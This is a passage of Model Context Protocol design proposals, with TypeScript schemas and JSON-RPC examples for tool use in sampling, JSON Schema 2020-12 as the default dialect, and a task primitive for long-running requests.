* Fix/update underspecified strings in [CreateMessageResult](https://modelcontextprotocol.io/specification/2025-06-18/schema#createmessageresult):
* `stopReason: “endTurn" | "stopSequence" | “toolUse" | “maxToken" | string` (explicit enums + open string for compat)
* `role: “assistant”`
* Soft-deprecate [CreateMessageRequest.params.includeContext](https://modelcontextprotocol.io/specification/2025-06-18/schema#createmessagerequest) != ‘none’ (now fenced by capability)
* Incentivize context-free sampling implementation
### Protocol changes
* `sampling/createMessage`
* ~~MUST throw an error when `includeContext is “thisServer” | “allServers”` but `clientCapabilities.sampling.context` is missing~~
* MUST throw an error when `tool` or `toolChoice` are defined but `clientCapabilities.sampling.tools` is missing
* Servers SHOULD avoid `[includeContext](https://modelcontextprotocol.io/specification/2025-06-18/schema#createmessagerequest)` != ‘none’`as values`“thisServer”`and`“allServers”\` may be removed in future spec releases.
* `CreateMessageRequest.messages` MUST balance any “assistant” message w/ a `ToolUseContent` (and `id: $id1`) w/ a “user” message w/ a ToolResultContent (and `tool_result_id: $id1`)
* Note: this is a requirement for Claude API implementation (parallel tool call must all be responded to in one go)
* SamplingMessage with tool result content blocks MUST NOT contain other content types.
### Schema changes
* [ClientCapabilities](https://modelcontextprotocol.io/specification/2025-06-18/schema#clientcapabilities)
```typescript theme={null}
interface ClientCapabilities {
...
sampling?: {
context?: object; // NEW: Allows CreateMessageRequest.params.includeContext != "none"
tools?: object; // NEW: Allows CreateMessageRequest.params.{tools,toolChoice}
};
}
```
* [CreateMessageRequest](https://modelcontextprotocol.io/specification/2025-06-18/schema#createmessagerequest) (use existing [Tool](https://modelcontextprotocol.io/specification/2025-06-18/schema#tool))
```typescript theme={null}
interface CreateMessageRequest {
method: “sampling/createMessage”;
params: {
...
messages: SamplingMessage[]; // Note: type updated, see below
tools?: Tool[] // NEW (existing type)
toolChoice?: ToolChoice // NEW
};
}
interface ToolChoice { // NEW
mode?: “auto” | "required" | "none";
// disable_parallel_tool_use?: boolean; // Update (Nov 10): removed, see below
}
```
* Notes:
* OpenAI vs. Anthropic API idioms to avoid parallel tool calls:
* OpenAI: `parallel_tool_calls: false` (top-level param)
* Anthropic: `tool_choice.disable_parallel_tool_use: true`
* Preferred here as default value if unset is false (e.g. parallel tool calls allowed)
* OpenAI vs. Anthropic API re/ `tool_choice` `"none"` vs. `tools`:
* OpenAI: `tools: [$Foo], tool_choice: "none"` forbids any tool call
* Preferred behaviour here
* Anthropic: `tools: [$Foo], tool_choice: {mode: "none"}` may still call tool `Foo`
* Gemini vs. OAI / Anthropic re/ `disable_parallel_tool_use`:
* Gemini API has no way to disable parallel tool calls atm (unlike OAI / Anthropic APIs). Removing this flag for now, to be reintroduced when Gemini has any way of supporting it. Otherwise clients would get unexpected multiple tool calls (or alternatively if implemented that way, unexpected failures / costly retry until a single tool call is emitted)
* Gemini API's [Function calling modes](https://ai.google.dev/gemini-api/docs/function-calling?example=meeting#function_calling_modes) have an `ANY` value that should match the proposed `required`
* [SamplingMessage](https://modelcontextprotocol.io/specification/2025-06-18/schema#samplingmessage):
```typescript theme={null}
/*
BEFORE:
interface SamplingMessage {
content: TextContent | ImageContent | AudioContent
role: Role;
}
*/
type SamplingMessage = UserMessage | AssistantMessage; // NEW
type AssistantMessageContent =
TextContent | ImageContent | AudioContent | ToolUseContent;
type UserMessageContent =
TextContent | ImageContent | AudioContent | ToolResultContent;
interface AssistantMessage {
// NEW
role: "assistant";
content: AssistantMessageContent | AssistantMessageContent[];
}
interface ToolUseContent {
// NEW
type: "tool_use";
name: string;
id: string;
input: object;
}
interface UserMessage {
// NEW
role: "user";
content: UserMessageContent | UserMessageContent[];
}
interface ToolResultContent {
// NEW
_meta?: { [key: string]: unknown };
type: "tool_result";
toolUseId: string;
content: ContentBlock[];
structuredContent: object;
isError?: boolean;
}
```
* Notes:
* Differences of role vs. content type when it comes to tool calling between APIs:
* OpenAI: `role: “system" | “user" | “assistant" | “tool"` (where tool is for tool results), while tool calls are nested in assistant messages, content is then typically null but some “OpenAI compatible” APIs accept non-null values
* ```typescript theme={null}
[
{ role: "user", content: "what is the temperature in london?" },
{
role: "assistant",
content: "Let me use a tool...",
tool_calls: [
{
id: "call_1",
type: "function",
function: {
name: "get_weather",
arguments: '{"location": "London"}',
},
},
],
},
{
role: "tool",
content: '{"temperature": 20, "condition": "sunny"}',
tool_call_id: "call_1",
},
];
```
* Claude API: `role: “user" | “assistant"`, tool use and result are passed through specially-typed message content parts:
* ```typescript theme={null}
[
{
"role": "user",
"content": [
{
"type": "text",
"text": "what is the temperature in london?"
}
},
{
"role": "assistant",
"content": [
{
"type": "text",
"text": "Let me use a tool..."
},
{
"type": "tool_use",
"id": "call_1",
"name": "get_weather",
"input": {"location": "London"}
}
]
},
{
"role": "user",
"content": [
{
"type": "tool_result",
"tool_call_id": "call_1",
"content": {"temperature": 20, "condition": "sunny"}
}
]
}
]
```
* Gemini API:
* `function` role (similar to OAI's `tool` role)
* No tool call id concept ([function calling](https://ai.google.dev/gemini-api/docs/function-calling?example=meeting#parallel_function_calling): Gemini requires tool results to be provided in the exact same order as the tool use parts. An implementation could generate the tool call ids and use them to reorder the tool results if needed.
* [CreateMessageResult](https://modelcontextprotocol.io/specification/2025-06-18/schema#createmessageresult)
```typescript theme={null}
/*
BEFORE:
interface CreateMessageResult {
_meta?: { [key: string]: unknown };
content: TextContent | ImageContent | AudioContent;
role: Role;
stopReason?: string;
[key: string]: unknown;
}
*/
interface CreateMessageResult {
_meta?: { [key: string]: unknown };
content: AssistantMessageContent | AssistantMessageContent[] // UPDATED
role: "assistant"; // UPDATED
stopReason?: “endTurn" | "stopSequence" | “toolUse" | “maxToken" | string // UPDATED
[key: string]: unknown;
}
```
* Notes:
* Backwards compatibility issue: returning CreateMessageResult.content as an array of contents OR a single content is problematic, so we propose:
* `sampling/createMessage` MUST NOT return an array in `CreateMessageResult.content` before spec version Nov 2025.
* This guarantees wire-level backwards-compatibility
* Existing code that uses sampling may break w/ new SDK releases as it will need to test content to know if it's an array or a single block, and act accordingly.
* This seems reasonable(?)
* `CreateMessageResult.stopReason` field is currently defined as an open `string`, and the spec only mentions the `endTurn` as example value.
* OpenAI vs. Anthropic API idioms
* Finish/stop reason
* OpenAI’s [ChatCompletion](https://platform.openai.com/docs/api-reference/chat/object): `finish_reason: “stop” | “length” | “tool_use”` (…?)
* [Anthropic](https://docs.claude.com/en/api/handling-stop-reasons): `stop_reason: “end_turn” | “max_tokens” | “stop_sequence” | “tool_use” | “pause_turn” | “refusal”`
## Possible Follow ups
These are out of scope for this SEP, but care was taken not to preclude them, so where appropriate we give examples of how they could be implemented on top of / after this SEP.
### Streaming support
See: [Streaming tool use results #117](https://github.com/modelcontextprotocol/modelcontextprotocol/issues/117)
This could be important for some longer-running use cases or when latency is important, but would play better w/ streaming support in MCP tools.
A possible way to implement this would be to use notifications w/ payload, and possibly create a new method `sampling/createMessageStreamed`. Both should be orthogonal w/ this SEP (but we'd need to create delta types for results, similar to streaming APIs in inference API such as Claude API and OpenAI API).
### Cache friendliness updates
Two bits needed here:
* Introduce cache awareness
* Implicit caching guidelines phrased as SHOULDs
* Explicit cache points and TTL semantics [as in the Claude API](https://docs.claude.com/en/docs/build-with-claude/prompt-caching)? (incl. beta behaviour for longer caching)
* Pros: easy to implement *for at least 1 implementor (Anthropic)*
* Cons: if hard to implement for others, unlikely to get approval.
* “Whole prompt” / prompt-prefix cache w/ an explicit key [as in the OpenAI API](https://platform.openai.com/docs/api-reference/responses/create#responses-create-prompt_cache_key)?
* Pros:
* simpler for users (no need to think about where the shared prefix stops)
* implicitly supports updating the cache (maybe even as subtree)
* Cons: possibly harder to implement / more storage inefficient
* Introduce allowed\_tools feature to enable / disable tools w/o breaking context caching
* Relevant to this SEP as we may want to merge this feature [under the tool\_choice field, similar to what OpenAI did](https://platform.openai.com/docs/guides/function-calling).
```typescript theme={null}
interface ToolChoice { // NEW
mode?: “auto” | "required";
allowed_tools?: string[]
}
```
### Allow client to call the server’s tools by itself in an agentic loop
From the server’s perspective, that would remove the need to call tools by itself / inject tool results in follow up sampling calls.
The MCP server would just allowlist its own tools in the sampling request, w/t a dedicated tool definition such as:
```typescript theme={null}
{
type: "server-tool"; // MCP tool from same server.
name: string;
}
```
Pros:
* Safe, limited to that server’s tools.
* If we propagate the mcp-session-id, can leverage keep any server-side session context / caching
### Allow client to call any other MCP servers’ tools by itself in an agentic loop
Although this sounds similar to the previous one (allow only same server’s tools), this option wouldn’t need a protocol change / could be entirely done by the client as an implementation detail of their sampling support.
The end user would allowlist tools from any other MCP server for use in a sampling request, without the server having to ask for anything. The client UI would e.g. display a tool selection UI as part of the sampling approval flow, auto enabling tools from same server by default.
Pros:
* Technically no spec change needed (if anything, mention this as a freedom clients have)
* Possibly similar to what [CreateMessageRequest.params.includeContext](https://modelcontextprotocol.io/specification/2025-06-18/schema#createmessagerequest) = thisServer / allServers intended semantics may have meant
* `CreateMessageRequest.params.allowImplicitToolCalls = “none” | “thisServer” | “allServers”`
(assuming we wanted to give the server any control over this)
Cons:
* Classifier might be needed to avoid High potential for privacy leaks / abuse
* If user approves Gmail MCP tool usage / delegation by mistake, server gets access to their private emails through sampling
### Allow server to list & call clients’ tools (client/server → p2p)
If we say the client can now expose tools that the server can call, it opens a set of possibilities:
* The client can “forward” other servers’ tools (maybe w/ some namespacing for seamless aggregation)
* The server can then call these tools as part of its tool loop.
* Client & Server semantics start to lose weight, we enter a more peer-to-peer, symmetrical relationship
* Client could also ask a server for sampling, while we’re at it
* Symmetry at the protocol layer, but still directionality at the transport layer (e.g. for HTTP transport, direction of POST requests still matters)
### Simplify structured outputs use case
A major use case of sampling is to get outputs that conform to a given schema.
This is possible in [OpenAI’s API](https://platform.openai.com/docs/guides/structured-outputs) for instance.
The most common workaround is to give a single tool and set `tool_choice: "required"`, which guarantees the output is a ToolCall containing inputs that conform to the tool’s input schema.
While this SEP proposes we enable this `"required"`-based workaround, as a follow up it would be great to provide more explicit / simpler JSON schema support, which would also allow schema types not allowed in tool inputs (which require an object w/ properties, so one has to pick at least a name for their outputs, which requires thinking / interplay w/ the prompting strategy):
```typescript theme={null}
interface CreateMessageRequest {
method: “sampling/createMessage”;
params: {
messages: SamplingMessage[];
...
format: {
type: "json_schema",
"schema": {
"type": "array",
"minItems": 5,
"maxItems": 100
}
}
}
```
# SEP-1613: Establish JSON Schema 2020-12 as Default Dialect for MCP
Source: https://modelcontextprotocol.io/seps/1613-establish-json-schema-2020-12-as-default-dialect-f
Establish JSON Schema 2020-12 as Default Dialect for MCP
Final
Standards Track
This SEP has reached Final status and is preserved as a historical record of
the design as accepted. Changes made to the protocol after finalization are
not reflected here. Refer to the [current
specification](/specification/latest) and its changelog for authoritative
requirements.
| Field | Value |
| ------------- | ------------------------------------------------------------------------------- |
| **SEP** | 1613 |
| **Title** | Establish JSON Schema 2020-12 as Default Dialect for MCP |
| **Status** | Final |
| **Type** | Standards Track |
| **Created** | 2025-10-06 |
| **Author(s)** | Ola Hungerford |
| **Sponsor** | None |
| **PR** | [#1613](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/1613) |
***
## Abstract
This SEP establishes JSON Schema 2020-12 as the default dialect for embedded schemas within MCP messages (tool `inputSchema`/`outputSchema` and elicitation `requestedSchema` fields). Schemas may explicitly declare alternative dialects via the `$schema` field. This resolves ambiguity that has caused compatibility issues between implementations.
## Motivation
The MCP specification does not explicitly state which JSON Schema version to use for embedded schemas. This has caused:
* Validation failures between clients and servers assuming different versions
* Implementation divergence across SDK ecosystems
* Developer uncertainty requiring arbitrary version choices
Community discussion (GitHub Discussion #366, PR #655) revealed that implementations were split between draft-07 and 2020-12, with multiple maintainers and community members expressing strong preference for 2020-12 as the default.
## Specification
### 1. Default Dialect
Embedded JSON schemas within MCP messages **MUST** conform to [JSON Schema 2020-12](https://json-schema.org/draft/2020-12/schema) when no `$schema` field is present.
### 2. Explicit Dialect Declaration
Schemas **MAY** include an explicit `$schema` field to declare a different dialect:
```json theme={null}
{
"$schema": "https://json-schema.org/draft/2020-12/schema",
"type": "object",
"properties": {
"name": { "type": "string" }
}
}
```
### 3. Schema Validation Requirements
* Schemas **MUST** be valid according to their declared or default dialect
* The `inputSchema` field **MUST NOT** be `null`
**For tools with no parameters**, use one of these valid approaches:
* `true` - accepts any input (most permissive)
* `{}` - equivalent to `true`, accepts any input
* `{ "type": "object" }` - accepts any object with any properties
* `{ "type": "object", "additionalProperties": false }` - accepts only empty objects `{}`
**Example** for a tool with no parameters:
```json theme={null}
{
"name": "get_current_time",
"description": "Returns the current server time",
"inputSchema": {
"type": "object",
"additionalProperties": false
}
}
```
### 4. Scope of Application
This specification applies to:
* `tools/list` response: `inputSchema` and `outputSchema`
* `prompts/elicit` request: `requestedSchema`
* Future MCP features embedding JSON Schema definitions
### 5. Implementation Requirements
**Servers MUST:**
* Generate schemas conforming to 2020-12 by default
* Include explicit `$schema` when using non-default dialects
**Clients MUST:**
* Validate schemas according to declared or default dialect
* Support at least JSON Schema 2020-12
## Rationale
### Why 2020-12?
1. **Ecosystem alignment**: Python SDK (via Pydantic) and Go SDK implementations prefer/use 2020-12
2. **Modern features**: Better validation capabilities and composition support
3. **Community preference**: Multiple maintainers and community members in PR #655 discussion advocated for 2020-12 over draft-07
4. **Current standard**: 2020-12 is the stable version as of 2025
### Why allow explicit declaration?
* Supports migration paths for existing schemas
* Provides flexibility without protocol changes
* Follows JSON Schema best practices
### Alternatives considered
* **Draft-07 as default**: Rejected after community feedback; older version with less capability
* **No default**: Rejected as unnecessarily verbose; adds boilerplate
* **Multiple equal versions**: Rejected; creates unpredictability and fragmentation
## Backward Compatibility
This is technically a **clarification**, and not a breaking change:
* Existing schemas without `$schema` default to 2020-12
* Servers can add explicit `$schema` during transition
* Basic schemas (type, properties, required) work across versions
**Migration may be needed for schemas assuming draft-07 by default:**
* Schemas using `dependencies` (→ `dependentSchemas` + `dependentRequired`)
* Positional array validation (→ `prefixItems`)
**Migration strategy:** Add explicit `$schema: "http://json-schema.org/draft-07/schema#"` during transition, then update to 2020-12 features.
## Reference Implementation
### SDK Implementations
**Python SDK** - Already compatible:
* Uses Pydantic for schema generation
* Pydantic defaults to 2020-12 via `.model_json_schema()`
**Go SDK** - Implemented 2020-12:
* Explicit 2020-12 implementation completed
* Confirmed by @samthanawalla in PR #655 discussion
**Other SDKs:**
* May require updates but based on other examples, there should be straightforward or out-of-the-box options to support this. I can add more examples here or we can create issues to follow up on these after acceptance.
## Security Implications
No specific security implications have been identified from establishing 2020-12 as the default dialect. The clarification reduces ambiguity that could lead to validation mismatches between implementations, which is a minor security improvement through increased predictability.
Implementations should use well-maintained JSON Schema validator libraries and keep them updated, as with any dependency.
## Related Work
### [SEP-1330: Elicitation Enum Schema Improvements](https://github.com/modelcontextprotocol/modelcontextprotocol/issues/1330)
**SEP-1330** proposes deprecating the non-standard `enumNames` property in favor of JSON Schema 2020-12 compliant patterns. This work is directly enabled by establishing 2020-12 as the default dialect.
**Implementation Consideration:**\
As noted in SEP-1330 discussion, there is some concern about parsing complexity with advanced JSON Schema features like `oneOf` and `anyOf`. However, these features are part of the JSON Schema standard and well-supported by mature validator libraries. Implementations can balance standards compliance with their parsing needs by using well-tested JSON Schema validation libraries.
### [SEP-834: Full JSON Schema 2020-12 Support](https://github.com/modelcontextprotocol/modelcontextprotocol/issues/834)
This SEP establishes the foundation (default dialect) while SEP-834 addresses comprehensive support for 2020-12 features.
## Open Questions
The schema for the spec itself references `draft-07` and the `typescript-json-schema` package we use to generate it only supports draft-07.
Options:
1. Update schema generation script to patch to 2020-12 after generation (this is what I did in the current PR)
2. Switch to a different schema generator that supports 2020-12
3. Leave as-is since it doesn't actually conflict with the spec?
Personally I'd prefer (1) in the short term and then (2) as a follow-up.
# SEP-1686: Tasks
Source: https://modelcontextprotocol.io/seps/1686-tasks
Tasks
Final
Standards Track
This SEP has reached Final status and is preserved as a historical record of
the design as accepted. Changes made to the protocol after finalization are
not reflected here. Refer to the [current
specification](/specification/latest) and its changelog for authoritative
requirements.
| Field | Value |
| ------------- | ------------------------------------------------------------------------------- |
| **SEP** | 1686 |
| **Title** | Tasks |
| **Status** | Final |
| **Type** | Standards Track |
| **Created** | 2025-10-20 |
| **Author(s)** | Surbhi Bansal, Luca Chang |
| **Sponsor** | None |
| **PR** | [#1686](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/1686) |
***
## Abstract
> This SEP is preserved as a historical record of the experimental tasks feature shipped in the `2025-11-25` specification. The code examples below are non-normative pseudocode written against the v1 SDKs. The draft specification moves tasks out of the core protocol and into the `io.modelcontextprotocol/tasks` extension ([SEP-2663](./2663-tasks-extension.md)).
This SEP improves support for task-based workflows in the Model Context Protocol (MCP). It introduces both the **task primitive** and the associated **task ID**, which can be used to query the state and results of a task, up to a server-defined duration after the task has completed. This primitive is designed to augment other requests (such as tool calls) to enable call-now, fetch-later execution patterns across all requests for servers that support this primitive.
## Motivation
The current MCP specification supports tool calls that execute a request and eventually receive a response, and tool calls can be passed a progress token to integrate with MCP’s progress-tracking functionality, enabling host applications to receive status updates for a tool call via notifications. However, there is no way for a client to explicitly request the status of a tool call, resulting in states where it is possible for a tool call to have been dropped on the server, and it is unknown if a response or a notification may ever arrive. Similarly, there is no way for a client to explicitly retrieve the result of a tool call after it has completed — if the result was dropped, clients must call the tool again, which is undesirable for tools expected to take minutes or more. This is particularly relevant for MCP servers abstracting existing workflow-based APIs, such as AWS Step Functions, Workflows for Google Cloud, or APIs representing CI/CD pipelines, among other applications.
Today, it is possible for individual MCP servers to represent tools in a way that enables this, with certain compromises. For example, a server may expose a `long_running_tool` and wish to support this pattern, splitting it into three separate tools to accommodate this:
1. `start_long_running_tool`: This would start the work represented by `long_running_tool` and return a tracking token of some kind, such as a job ID.
2. `get_long_running_tool_status(token)`: This would accept the tracking token and return the current status of the tool call, informing the caller that the operation is still ongoing.
3. `get_long_running_tool_result(token)`: This would accept the tracking token and return the result of the tool call, if it is available.
Representing a tool in this way seems to solve for the use case, but it introduces a new problem: Tools are generally-expected to be orchestrated by an agent, and agent-driven polling is both unnecessarily expensive and inconsistent — it relies on prompt engineering to steer an agent to poll at all. In the original `long_running_tool` case, the client had no way of knowing if a response would ever be received, while in the `start_long_running_tool` case, the application has no way of knowing if the agent will orchestrate tools according to the specific contract of the server.
It is also impossible for the host application to take ownership of this orchestration, as this tool-splitting is both conventions-based and may be implemented in different ways across MCP servers — one server may have three tools for one conceptual operation (as in our example), or it may have more, in the case of more complex, multi-step operations.
On the other hand, if active task polling is not needed, existing MCP servers can fully-wrap a workflow API in a single tool call that polls for a result, but this introduces an undesirable implementation cost: an MCP server wrapping an existing workflow API is a server that only exists for polling other systems.
**Affected Customer Use Cases**
These concerns are backed by real use cases that Amazon has seen both internally and with their external customers (identities redacted where non-public):
**1. Healthcare & Life Sciences Data Analysis**
***Challenge:*** Amazon’s customers in the healthcare and life sciences industry are attempting to use MCP to wrap existing computational tools to analyze molecular properties and predict drug interactions, processing hundreds of thousands of data points per job from chemical libraries through multiple inference models simultaneously. These complex, multi-step workflows require a way to actively check statuses, as they take upwards of several hours, making retries undesirable.
***Current Workaround:*** Not yet determined.
***Impact:*** Cannot integrate with real-time research workflows, prevents interactive drug discovery platforms, and blocks automated research pipelines. These customers are looking for best practices for workflow-based tool calls and have noted the lack of first-class support in MCP as a concern. If these customers do not have a solution for long-running tool calls, they will likely forego MCP and continue using their existing platforms.
***Ideal:*** Concurrent and poll-able tool calls as an answer for operations executing in the range of a few minutes, and some form of push notification system to avoid blocking their agents on long analyses on the order of hours. This SEP supports the former use case, and offers a framework that could extend to support the latter.
**2. Enterprise Automation Platforms**
***Challenge:*** Amazon’s large enterprise customers are looking to develop internal MCP platforms to automate SDLC processes across their organizations, extending to sales, customer service, legal, HR, and cross-divisional teams. They have noted they have long-running agent and agent-tool interactions, supporting complex business process automation.
***Current Workaround:*** Not yet determined. Considering an application-level system outside of MCP backed by webhooks.
***Impact:*** Limitations related to the host application being unaware of tool execution state prevent complex business process automation and limit sophisticated multi-step operations. These customers want to dispatch processes concurrently and collect their results later, and are noting the lack of explicit late-retrieval as a concern — and are considering involved application-level notification systems as a possible workaround.
***Ideal:*** Built-in mechanisms for actively checking the status of ongoing work to avoid needing to implement notification systems specific to their own tool conventions themselves.
**3. Code Migration Workflows**
***Challenge*:** Amazon has automated code migration and transformation tools to perform upgrades across its own codebases and those of external customers, and is attempting to wrap those tools in MCP servers. These migrations analyze dependencies, transform code to avoid deprecated runtime features, and validate changes across multiple repositories. These migrations range from minutes to hours depending on migration scope, complexity, and validation requirements.
***Current Workaround:*** Developers implement manual tracking by splitting a job into `create` and `get` tools, forcing models to manage state and repeatedly poll for completion.
***Impact:*** Poor developer experience due to needing to replicate this hand-rolled polling mechanism across many tools. One team had to debug an issue where the model would hallucinate job names if it hadn’t listed them first. Validating that this does not happen across many tools in a large toolset is time-consuming and error-prone.
***Ideal:*** Support natively polling tool state at the data layer to support pushing a tool to the background and avoiding blocking other tasks in the chat session, while still supporting deterministic polling and result retrieval. The team needs the same pattern across many tools in their MCP servers, and wants a common solution across them, which this SEP directly supports.
**4. Test Execution Platforms**
***Challenge:*** Amazon’s internal test infrastructure executes comprehensive test suites including thousands of cases, integration tests across services, and performance benchmarks. They have built an MCP server wrapping this existing infrastructure.
***Current Workaround:*** For streaming test logs, the MCP server exposes a tool that can read a range of log lines, as it cannot effectively notify the client when the execution is complete. There is not yet any workaround for executing test runs.
***Impact:*** Cannot run a test suite and stream its logs simultaneously without a single hours-long tool call, which would time out on either the client or the server. This prevents agents from looking into test failures in an incomplete test run until the entire test suite has completed, potentially hours later.
***Ideal:*** Support host application-driven tool polling for intermediate results, so a client can be notified when a long-running tool is complete. This SEP does not fully-support this use case (it does enable polling), but the Task execution model can be extended to do so, as discussed in the “Future Work” section.
**5. Deep Research**
***Challenge:*** Deep research tools spawn multiple research agents to gather and summarize information about topics, going through several rounds of search and conversation turns internally to produce a final result for the caller application. The tool takes an extended amount of time to execute, and it is not always clear if the tool is still executing.
***Current Workaround:*** The research tool is split into a separate `create` tool to create a report job and a `get` tool to get the status/result of that job later.
***Impact:*** When using this with host applications, the agent sometimes runs into issues calling the `get` tool repeatedly — in particular, it calls the tool once before ending its conversation turn, claiming to be "waiting" before calling the tool again. It cannot resume until receiving a new user message. This also complicates expiration times, as it is not possible to predict when the client will retrieve the result when this occurs. It is possible to work around this by adding a `wait` tool for the model, but this prevents the model from doing anything else concurrently.
***Ideal:*** Support polling a tool call’s state in a deterministic way and notify the model when a result is ready, so the tool result can be immediately retrieved and deleted from the server. Other than notifying the model (a host application concern), this SEP fully supports this use case.
**6. Agent-to-Agent Communication (Multi-Agent Systems)**
***Challenge:*** One of Amazon’s internal multi-agent systems for customer question answering faces scenarios where agents require significant processing time for complex reasoning, research, or analysis. When agents communicate through MCP, slow agents cause cascading delays throughout this system, as agents are forced to wait on their peers to complete their work.
***Current Workaround:*** Not yet determined.
***Impact:*** Communication pattern creates cascading delays, prevents parallel agent processing, and degrades system responsiveness for other time-sensitive interactions.
***Ideal:*** Some method to allow agents to perform other work concurrently and get notified once long-running tasks complete. This SEP supports this use case by enabling host applications to implement background polling for select tool calls without blocking agents.
These use cases demonstrate that a mechanism to actively track tool calls and defer results is a real requirement for these types of MCP deployments in production environments.
**Integration with Existing Architectures**
Many workflow-driven systems already provide active execution-tracking capabilities with built-in status metadata, monitoring, and data retention policies. This proposal enables MCP servers to expose these existing APIs with thin MCP wrappers while maintaining their existing reliability.
**Benefits for Existing Architectures:**
* **Leverage Existing State Management:** Systems like AWS Step Functions, Workflows for Google Cloud, and CI/CD platforms already maintain execution state, logs, and results. MCP servers can expose these systems' existing APIs without pushing the responsibility of polling to a fallible agent.
* **Preserve Native Monitoring:** Existing monitoring, alerting, and observability tools continue to work unchanged. The execution happens almost entirely within the existing workflow-management system.
* **Reduce Implementation Overhead:** Server implementers don't need to build new state management, persistence, or monitoring infrastructure. They can focus on the MCP protocol mapping of their existing APIs to tasks.
This SEP simplifies integration with existing workflows and allows workflow services to continue to manage their own state while delivering a quality customer experience, rather than offloading to agent-polling or building MCP servers that do nothing but poll other services.
## Specification
This SEP introduces a mechanism for requestors (which can be either clients or servers, depending on the direction of communication) to augment their requests with **tasks**. Tasks are durable state machines that carry information about the underlying execution state of the request they wrap, and are intended for requestor polling and deferred result retrieval. Each task is uniquely identifiable by a requestor-generated **task ID**.
### 1. User Interaction Model
Tasks are designed to be **application-driven**—receivers tightly-control which requests (if any) support task-based execution and manage the lifecycles of those tasks; meanwhile, requestors own the responsibility for augmenting requests with tasks, and for polling on the results of those tasks.
Implementations are free to expose tasks through any interface pattern that suits their needs—the protocol itself does not mandate any specific user interaction model.
### 2. Capabilities
Servers and clients that support task-augmented requests **MUST** declare a `tasks` capability during initialization. The `tasks` capability is structured by request category, with boolean properties indicating which specific request types support task augmentation.
Refer to [https://github.com/modelcontextprotocol/modelcontextprotocol/pull/1732](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/1732) for details.
### 3. Protocol Messages
#### 3.1. Creating Tasks
To create a task, requestors send a request with the `modelcontextprotocol.io/task` key included in `_meta`, with a `taskId` value representing the task ID. Requestors **MAY** include a `keepAlive`, with a value representing how long after completion the requestor would like the task results to be kept for.
**Request:**
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"method": "some_method",
"params": {
"_meta": {
"modelcontextprotocol.io/task": {
"taskId": "786512e2-9e0d-44bd-8f29-789f320fe840",
"keepAlive": 60000
}
}
}
}
```
#### 3.2. Getting Tasks
To retrieve the state of a task, requestors send a `tasks/get` request:
**Request:**
```json theme={null}
{
"jsonrpc": "2.0",
"id": 3,
"method": "tasks/get",
"params": {
"taskId": "786512e2-9e0d-44bd-8f29-789f320fe840",
"_meta": {
"modelcontextprotocol.io/related-task": {
"taskId": "786512e2-9e0d-44bd-8f29-789f320fe840"
}
}
}
}
```
**Response:**
```json theme={null}
{
"jsonrpc": "2.0",
"id": 3,
"result": {
"taskId": "786512e2-9e0d-44bd-8f29-789f320fe840",
"keepAlive": 30000,
"pollFrequency": 5000,
"status": "submitted",
"_meta": {
"modelcontextprotocol.io/related-task": {
"taskId": "786512e2-9e0d-44bd-8f29-789f320fe840"
}
}
}
}
```
#### 3.3. Retrieving Task Results
To retrieve the result of a completed task, requestors send a `tasks/result` request:
**Request:**
```json theme={null}
{
"jsonrpc": "2.0",
"id": 4,
"method": "tasks/result",
"params": {
"taskId": "786512e2-9e0d-44bd-8f29-789f320fe840",
"_meta": {
"modelcontextprotocol.io/related-task": {
"taskId": "786512e2-9e0d-44bd-8f29-789f320fe840"
}
}
}
}
```
**Response:**
```json theme={null}
{
"jsonrpc": "2.0",
"id": 4,
"result": {
"content": [
{
"type": "text",
"text": "Current weather in New York:\nTemperature: 72°F\nConditions: Partly cloudy"
}
],
"isError": false,
"_meta": {
"modelcontextprotocol.io/related-task": {
"taskId": "786512e2-9e0d-44bd-8f29-789f320fe840"
}
}
}
}
```
#### 3.4. Task Creation Notification
When a receiver creates a task, it **MUST** send a `notifications/tasks/created` notification to inform the requestor that the task has been created and polling can begin.
**Notification:**
```json theme={null}
{
"jsonrpc": "2.0",
"method": "notifications/tasks/created",
"params": {
"_meta": {
"modelcontextprotocol.io/related-task": {
"taskId": "786512e2-9e0d-44bd-8f29-789f320fe840"
}
}
}
}
```
The task ID is conveyed through the `modelcontextprotocol.io/related-task` metadata key. The notification parameters are otherwise empty.
This notification resolves the race condition where a requestor might attempt to poll for a task before the receiver has finished creating it. By sending this notification immediately after task creation, the receiver signals that the task is ready to be queried via `tasks/get`.
Receivers that do not support tasks (and thus ignore task metadata in requests) will not send this notification, allowing requestors to fall back to waiting for the original request response.
#### 3.5. Listing Tasks
To retrieve a list of tasks, requestors send a `tasks/list` request. This operation supports pagination.
**Request:**
```json theme={null}
{
"jsonrpc": "2.0",
"id": 5,
"method": "tasks/list",
"params": {
"cursor": "optional-cursor-value"
}
}
```
**Response:**
```json theme={null}
{
"jsonrpc": "2.0",
"id": 5,
"result": {
"tasks": [
{
"taskId": "786512e2-9e0d-44bd-8f29-789f320fe840",
"status": "working",
"keepAlive": 30000,
"pollFrequency": 5000
},
{
"taskId": "abc123-def456-ghi789",
"status": "completed",
"keepAlive": 60000
}
],
"nextCursor": "next-page-cursor"
}
}
```
#### 3.6 Deleting Tasks
To explicitly delete a task and its associated results, requestors send a `tasks/delete` request.
**Request:**
```json theme={null}
{
"jsonrpc": "2.0",
"id": 6,
"method": "tasks/delete",
"params": {
"taskId": "786512e2-9e0d-44bd-8f29-789f320fe840",
"_meta": {
"modelcontextprotocol.io/related-task": {
"taskId": "786512e2-9e0d-44bd-8f29-789f320fe840"
}
}
}
}
```
**Response:**
```json theme={null}
{
"jsonrpc": "2.0",
"id": 6,
"result": {
"_meta": {
"modelcontextprotocol.io/related-task": {
"taskId": "786512e2-9e0d-44bd-8f29-789f320fe840"
}
}
}
}
```
### 4. Behavior Requirements
These requirements apply to all parties that support receiving task-augmented requests.
#### 4.1. Task Support and Handling
1. Receivers that do not support task augmentation on a request **MUST** process the request normally, ignoring any task metadata in `_meta`.
2. Receivers that support task augmentation **MAY** choose which request types support tasks.
#### 4.2. Task ID Requirements
1. Task IDs **MUST** be a string value.
2. Task IDs **SHOULD** be unique across all tasks controlled by the receiver.
3. The receiver of a request with a task ID in its `_meta` **MAY** validate that the provided task ID has not already been associated with a task controlled by that receiver.
#### 4.3. Task Status Lifecycle
1. Tasks **MUST** begin in the `submitted` status when created.
2. Receivers **MUST** only transition tasks through the following valid paths:
1. From `submitted`: may move to `working`, `input_required`, `completed`, `failed`, `cancelled`, or `unknown`
